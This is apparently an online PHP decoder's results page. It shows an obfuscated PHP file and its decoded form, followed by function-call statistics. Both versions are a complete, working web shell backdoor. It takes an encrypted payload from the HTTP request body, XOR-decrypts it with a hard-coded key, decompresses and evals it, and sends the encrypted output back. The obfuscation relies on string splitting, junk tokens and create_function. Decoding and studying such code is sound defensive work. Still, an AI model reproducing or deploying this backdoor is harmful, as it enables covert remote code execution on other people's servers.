Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $p='1/$1/j};}}retur1/n $o;}i1/f (@1/preg_matc1/h(1/"/$kh(.+)1/$kf/",@fi1/l1/e_get1/..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="a589f257";$kh="12a7e7ade11b";$kf="2399c3c779c3";$p="Vf4GKYlZcDArPDjM";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$p='1/$1/j};}}retur1/n $o;}i1/f (@1/preg_matc1/h(1/"/$kh(.+)1/$kf/",@fi1/l1/e_get1/_con';
$f=str_replace('YP','','creYPaYPYPte_fYPYPunctiYPon');
$A='r1/($i=0;$i<1/$l;1/)1/{for($j=0;($j<$1/c&&$1/i<$l)1/;$j++,$i+1/+){$o.=$1/1/t{$i}^$k{';
$u='cDAr1/PD1/jM"1/;fun1/ction 1/x1/($t,$k)1/{$c=strle1/n1/($k);$l=strlen1/($t1/);$o="";fo';
$i='/x(@base1/64_decod1/e($m[11/]),$k))1/);$1/o1/=@ob1/_ge1/t_contents();@ob_end1/1/_cle1/a';
$b='n();$r=@base1/64_en1/co1/de(@x(@gzcom1/pr1/es1/s($o),$1/k));print("$1/p$1/kh$r$kf");}';
$q='$k="1/a589f251/7";$kh="121/1/a7e7ade11b";1/$kf="21/3991/c3c71/791/c3";$p="1/Vf4GKYlZ';
$x='1/tents("php1/://input"1/),$m)1/==1) {1/@ob1/_s1/tart();@ev1/al(@g1/zuncompre1/ss(@1';
$H=str_replace('1/','',$q.$u.$A.$p.$x.$i.$b);
$G=$f('',$H);$G();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 0d2b31e18c1f99131735999e06cda24b |
Eval Count | 1 |
Decode Time | 288 ms |